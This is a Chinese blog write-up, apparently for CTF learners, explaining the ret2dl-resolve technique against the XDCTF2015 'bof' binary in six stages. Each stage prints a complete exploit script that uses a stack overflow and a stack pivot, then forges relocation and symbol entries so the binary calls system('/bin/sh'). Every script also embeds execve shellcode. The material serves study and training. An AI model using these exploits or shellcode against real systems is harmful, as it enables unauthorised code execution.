本文来源:
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
题目文件:
链接: https://pan.baidu.com/s/1fjE9DsUoixNSfDz_OcKRmg?pwd=inp0 提取码: inp0
最近在学pwn额,学到ret2_dl_resolve这卡了很久,博客里面其实利用过程说的很好了,但是在利用的各个stage上,会有一些理解问题,这里我把我的理解写出来,也希望能帮助到更多的人来学习这个知识点。
下面我用的pwn环境是基于welpwn的,改一下代码也可以用pwntools
前几个stage内,我们的目标都是打印出/bin/sh字符串,在最后我们直接将write改为system即可getshell
Stage1
这里我们直接返回到write@plt,很简单。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from PwnContext import *try : from IPython import embed as ipy except ImportError: print ('IPython not installed.' ) shellcode_32 = """push 0x68732f # 0x68732f --> hs/ little endian push 0x6e69622f # 0x6e69622f --> nib/ little endian mov ebx, esp xor edx, edx xor ecx, ecx mov al, 0xb # al为eax的低8位 int 0x80""" shellcode_64 = """mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian push rbx push rsp pop rdi xor esi, esi # rsi低32位 xor edx, edx # rdx低32位 push 0x3b pop rax syscall""" s = lambda data :ctx.send(data) sa = lambda delim,data :ctx.sendafter(delim, data) sl = lambda data :ctx.sendline(data) sla = lambda delim,data :ctx.sendlineafter(delim, data) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='' , **kwargs :ctx.debug(gdbscript=gs, **kwargs) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) leak = lambda name,addr :log.success('{} = {:#x}' .format (name, addr)) if __name__ == '__main__' : context.log_level = 'debug' ctx.binary = './bof' rs() elf = ctx.binary pop_esi_edi_ebp = 0x08048619 pop_ebp = 0x0804861b leave_ret = 0x08048458 offset = 112 read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] stack_size = 0x800 bss_base = elf.bss() base_stage = bss_base + stack_size ru(b'Welcome to XDCTF2015~!\n' ) payload = flat(['a' *offset, read_plt, pop_esi_edi_ebp, 0 , base_stage,100 , pop_ebp, base_stage, leave_ret]) sl(payload) cmd = b'/bin/sh\x00' payload2 = b'AAAA' payload2 += p32(write_plt) payload2 += b'AAAA' payload2 += p32(1 ) payload2 += p32(base_stage + 80 ) payload2 += p32(len (cmd)) payload2 = payload2.ljust(80 , b'A' ) payload2 += cmd payload2 = payload2.ljust(100 , b'A' ) sl(payload2) irt()
这里我简单讲一些我当时的疑问点,懂的可以直接跳过
首先是base_stage的选定,这里其实无所谓,只要在bss的可写读范围内即可。比如改成0x400也是没问题的。
然后是payload中,最后的leave_ret,由于leave指令是mov esp, ebp; pop ebp
所以我们需要在payload2前面加入4个冗余字节,之后才是我们真正的payload2的开始,在write中,参数是base_stage+80,所以我们写入payload2的时候,参数即cmd是放在ljust 80后面的。
Stage2
这一步我们使用plt[0]来劫持到write,由于plt[0]加上offset,就是got首次定位的过程,不明白的同学可以去原文看看过程。
所以我们把write@plt改成plt[0]调用的过程即可。
伪造的是这个过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from PwnContext import *try : from IPython import embed as ipy except ImportError: print ('IPython not installed.' ) shellcode_32 = """push 0x68732f # 0x68732f --> hs/ little endian push 0x6e69622f # 0x6e69622f --> nib/ little endian mov ebx, esp xor edx, edx xor ecx, ecx mov al, 0xb # al为eax的低8位 int 0x80""" shellcode_64 = """mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian push rbx push rsp pop rdi xor esi, esi # rsi低32位 xor edx, edx # rdx低32位 push 0x3b pop rax syscall""" s = lambda data :ctx.send(data) sa = lambda delim,data :ctx.sendafter(delim, data) sl = lambda data :ctx.sendline(data) sla = lambda delim,data :ctx.sendlineafter(delim, data) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='' , **kwargs :ctx.debug(gdbscript=gs, **kwargs) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) leak = lambda name,addr :log.success('{} = {:#x}' .format (name, addr)) seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr if __name__ == '__main__' : context.log_level = 'debug' ctx.binary = './bof' rs() elf = ctx.binary pop_esi_edi_ebp = 0x08048619 pop_ebp = 0x0804861b leave_ret = 0x08048458 offset = 112 read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] stack_size = 0x400 bss_base = elf.bss() base_stage = bss_base + stack_size ru(b'Welcome to XDCTF2015~!\n' ) payload = flat(['a' *offset, read_plt, pop_esi_edi_ebp, 0 , base_stage,100 , pop_ebp, base_stage, leave_ret]) sl(payload) cmd = b'/bin/sh\x00' plt_0 = seg_addr(elf, '.plt' ) index_offset = 0x20 payload2 = b'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += b'AAAA' payload2 += p32(1 ) payload2 += p32(base_stage + 80 ) payload2 += p32(len (cmd)) payload2 = payload2.ljust(80 , b'A' ) payload2 += cmd payload2 = payload2.ljust(100 , b'A' ) sl(payload2) irt()
Stage3
这一步我们要通过伪造一个rel.plt表项,就像这样
1 2 3 4 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;
一个rel结构体是这样的。
我们用ida打开,发现我们stage2中伪造的0x20,其实就是write表项在.rel.plt中的偏移
所以我们伪造好新的elf32_rel结构体后,计算出距离.rel.plt的距离,就是我们新的index_offset,然后在payload2的确定位置布置我们的fakerel即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from PwnContext import *try : from IPython import embed as ipy except ImportError: print ('IPython not installed.' ) shellcode_32 = """push 0x68732f # 0x68732f --> hs/ little endian push 0x6e69622f # 0x6e69622f --> nib/ little endian mov ebx, esp xor edx, edx xor ecx, ecx mov al, 0xb # al为eax的低8位 int 0x80""" shellcode_64 = """mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian push rbx push rsp pop rdi xor esi, esi # rsi低32位 xor edx, edx # rdx低32位 push 0x3b pop rax syscall""" s = lambda data :ctx.send(data) sa = lambda delim,data :ctx.sendafter(delim, data) sl = lambda data :ctx.sendline(data) sla = lambda delim,data :ctx.sendlineafter(delim, data) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='' , **kwargs :ctx.debug(gdbscript=gs, **kwargs) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) leak = lambda name,addr :log.success('{} = {:#x}' .format (name, addr)) seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr if __name__ == '__main__' : context.log_level = 'debug' ctx.binary = './bof' rs() elf = ctx.binary pop_esi_edi_ebp = 0x08048619 pop_ebp = 0x0804861b leave_ret = 0x08048458 offset = 112 read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] stack_size = 0x400 bss_base = elf.bss() base_stage = bss_base + stack_size ru(b'Welcome to XDCTF2015~!\n' ) payload = flat(['a' *offset, read_plt, pop_esi_edi_ebp, 0 , base_stage,100 , pop_ebp, base_stage, leave_ret]) sl(payload) cmd = b'/bin/sh\x00' plt_0 = seg_addr(elf, '.plt' ) rel_plt = seg_addr(elf, '.rel.plt' ) write_got = elf.got['write' ] r_info = 0x607 fake_rel = p32(write_got) + p32(r_info) index_offset = base_stage + 32 - rel_plt payload2 = b'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += b'AAAA' payload2 += p32(1 ) payload2 += p32(base_stage + 80 ) payload2 += p32(len (cmd)) payload2 = payload2.ljust(32 , b'a' ) payload2 += fake_rel payload2 = payload2.ljust(80 , b'A' ) payload2 += cmd payload2 = payload2.ljust(100 , b'A' ) sl(payload2) irt()
Stage4
这一步开始有难度了。但是也没多难,我们需要伪造一个这样的结构。
1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;
在内存中是长这样的(write)的
其中第一个0x4c即st_name,指向dynstr的表中的"write"
所以我们padding到一个正确的位置,并且保证16字节向dynsym对齐,放置我们的elf32_sym结构体即可。
但同时注意,我们也要让上一步里的r_info正确指向到我们的结构体。所以要对r_info再计算一次。
同时这里发现stack_size为0x400的话会不够用,应该是函数调用栈更多了,所以要扩大为0x800
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from PwnContext import *try : from IPython import embed as ipy except ImportError: print ('IPython not installed.' ) shellcode_32 = """push 0x68732f # 0x68732f --> hs/ little endian push 0x6e69622f # 0x6e69622f --> nib/ little endian mov ebx, esp xor edx, edx xor ecx, ecx mov al, 0xb # al为eax的低8位 int 0x80""" shellcode_64 = """mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian push rbx push rsp pop rdi xor esi, esi # rsi低32位 xor edx, edx # rdx低32位 push 0x3b pop rax syscall""" s = lambda data :ctx.send(data) sa = lambda delim,data :ctx.sendafter(delim, data) sl = lambda data :ctx.sendline(data) sla = lambda delim,data :ctx.sendlineafter(delim, data) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='' , **kwargs :ctx.debug(gdbscript=gs, **kwargs) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) leak = lambda name,addr :log.success('{} = {:#x}' .format (name, addr)) seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr if __name__ == '__main__' : context.log_level = 'debug' ctx.binary = './bof' rs() elf = ctx.binary pop_esi_edi_ebp = 0x08048619 pop_ebp = 0x0804861b leave_ret = 0x08048458 offset = 112 read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] stack_size = 0x800 bss_base = elf.bss() leak('bss' , bss_base) base_stage = bss_base + stack_size ru(b'Welcome to XDCTF2015~!\n' ) payload = flat(['a' *offset, read_plt, pop_esi_edi_ebp, 0 , base_stage,100 , pop_ebp, base_stage, leave_ret]) sl(payload) cmd = b'/bin/sh\x00' plt_0 = seg_addr(elf, '.plt' ) rel_plt = seg_addr(elf, '.rel.plt' ) write_got = elf.got['write' ] dynsym = seg_addr(elf, '.dynsym' ) fake_sym_addr = base_stage + 44 padding = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) fake_sym_addr += padding fake_dynsym_index = (fake_sym_addr - dynsym) // 0x10 r_info = (fake_dynsym_index << 8 ) | 7 fake_rel = p32(write_got) + p32(r_info) index_offset = base_stage + 32 - rel_plt st_name = 0x4c fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2 = b'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += b'AAAA' payload2 += p32(1 ) payload2 += p32(base_stage + 80 ) payload2 += p32(len (cmd)) payload2 = payload2.ljust(32 , b'a' ) payload2 += fake_rel payload2 = payload2.ljust(44 , b'a' ) payload2 += b'P' * padding payload2 += fake_sym payload2 = payload2.ljust(80 , b'A' ) payload2 += cmd payload2 = payload2.ljust(100 , b'A' ) sl(payload2) irt()
Stage5
已知st_name是指向dynstr的一个字符串了,那么我们这里也可以控制st_name指向我们payload2里的一个字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 from PwnContext import *try : from IPython import embed as ipy except ImportError: print ('IPython not installed.' ) shellcode_32 = """push 0x68732f # 0x68732f --> hs/ little endian push 0x6e69622f # 0x6e69622f --> nib/ little endian mov ebx, esp xor edx, edx xor ecx, ecx mov al, 0xb # al为eax的低8位 int 0x80""" shellcode_64 = """mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian push rbx push rsp pop rdi xor esi, esi # rsi低32位 xor edx, edx # rdx低32位 push 0x3b pop rax syscall""" s = lambda data :ctx.send(data) sa = lambda delim,data :ctx.sendafter(delim, data) sl = lambda data :ctx.sendline(data) sla = lambda delim,data :ctx.sendlineafter(delim, data) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='' , **kwargs :ctx.debug(gdbscript=gs, **kwargs) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) leak = lambda name,addr :log.success('{} = {:#x}' .format (name, addr)) seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr if __name__ == '__main__' : context.log_level = 'debug' ctx.binary = './bof' rs() elf = ctx.binary pop_esi_edi_ebp = 0x08048619 pop_ebp = 0x0804861b leave_ret = 0x08048458 offset = 112 read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] stack_size = 0x800 bss_base = elf.bss() leak('bss' , bss_base) base_stage = bss_base + stack_size ru(b'Welcome to XDCTF2015~!\n' ) payload = flat(['a' *offset, read_plt, pop_esi_edi_ebp, 0 , base_stage,100 , pop_ebp, base_stage, leave_ret]) sl(payload) cmd = b'/bin/sh\x00' plt_0 = seg_addr(elf, '.plt' ) rel_plt = seg_addr(elf, '.rel.plt' ) write_got = elf.got['write' ] dynsym = seg_addr(elf, '.dynsym' ) dynstr = seg_addr(elf, '.dynstr' ) fake_sym_addr = base_stage + 44 padding = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) fake_sym_addr += padding fake_dynsym_index = (fake_sym_addr - dynsym) // 0x10 r_info = (fake_dynsym_index << 8 ) | 7 fake_rel = p32(write_got) + p32(r_info) index_offset = base_stage + 32 - rel_plt st_name = fake_sym_addr + 0x10 - dynstr fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2 = b'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += b'AAAA' payload2 += p32(1 ) payload2 += p32(base_stage + 80 ) payload2 += p32(len (cmd)) payload2 = payload2.ljust(32 , b'a' ) payload2 += fake_rel payload2 = payload2.ljust(44 , b'a' ) payload2 += b'P' * padding payload2 += fake_sym payload2 += b"system\x00" payload2 = payload2.ljust(80 , b'A' ) payload2 += cmd payload2 = payload2.ljust(100 , b'A' ) sl(payload2) irt()
Stage6
已经能控制执行函数了,所以我们修改write为system,同时修改参数布局即可。原来函数为write(1, base+80, 100),现在修改为system(base+80)即可,修改比较简单,成功getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 from PwnContext import *try : from IPython import embed as ipy except ImportError: print ('IPython not installed.' ) shellcode_32 = """push 0x68732f # 0x68732f --> hs/ little endian push 0x6e69622f # 0x6e69622f --> nib/ little endian mov ebx, esp xor edx, edx xor ecx, ecx mov al, 0xb # al为eax的低8位 int 0x80""" shellcode_64 = """mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian push rbx push rsp pop rdi xor esi, esi # rsi低32位 xor edx, edx # rdx低32位 push 0x3b pop rax syscall""" s = lambda data :ctx.send(data) sa = lambda delim,data :ctx.sendafter(delim, data) sl = lambda data :ctx.sendline(data) sla = lambda delim,data :ctx.sendlineafter(delim, data) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='' , **kwargs :ctx.debug(gdbscript=gs, **kwargs) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) leak = lambda name,addr :log.success('{} = {:#x}' .format (name, addr)) seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr if __name__ == '__main__' : context.log_level = 'debug' ctx.binary = './bof' rs() elf = ctx.binary pop_esi_edi_ebp = 0x08048619 pop_ebp = 0x0804861b leave_ret = 0x08048458 offset = 112 read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] stack_size = 0x800 bss_base = elf.bss() leak('bss' , bss_base) base_stage = bss_base + stack_size ru(b'Welcome to XDCTF2015~!\n' ) payload = flat(['a' *offset, read_plt, pop_esi_edi_ebp, 0 , base_stage,100 , pop_ebp, base_stage, leave_ret]) sl(payload) cmd = b'/bin/sh\x00' plt_0 = seg_addr(elf, '.plt' ) rel_plt = seg_addr(elf, '.rel.plt' ) write_got = elf.got['write' ] dynsym = seg_addr(elf, '.dynsym' ) dynstr = seg_addr(elf, '.dynstr' ) fake_sym_addr = base_stage + 44 padding = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) fake_sym_addr += padding fake_dynsym_index = (fake_sym_addr - dynsym) // 0x10 r_info = (fake_dynsym_index << 8 ) | 7 fake_rel = p32(write_got) + p32(r_info) index_offset = base_stage + 32 - rel_plt st_name = fake_sym_addr + 0x10 - dynstr fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2 = b'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += b'AAAA' payload2 += p32(base_stage + 80 ) payload2 = payload2.ljust(32 , b'a' ) payload2 += fake_rel payload2 = payload2.ljust(44 , b'a' ) payload2 += b'P' * padding payload2 += fake_sym payload2 += b"system\x00" payload2 = payload2.ljust(80 , b'A' ) payload2 += cmd payload2 = payload2.ljust(100 , b'A' ) sl(payload2) irt()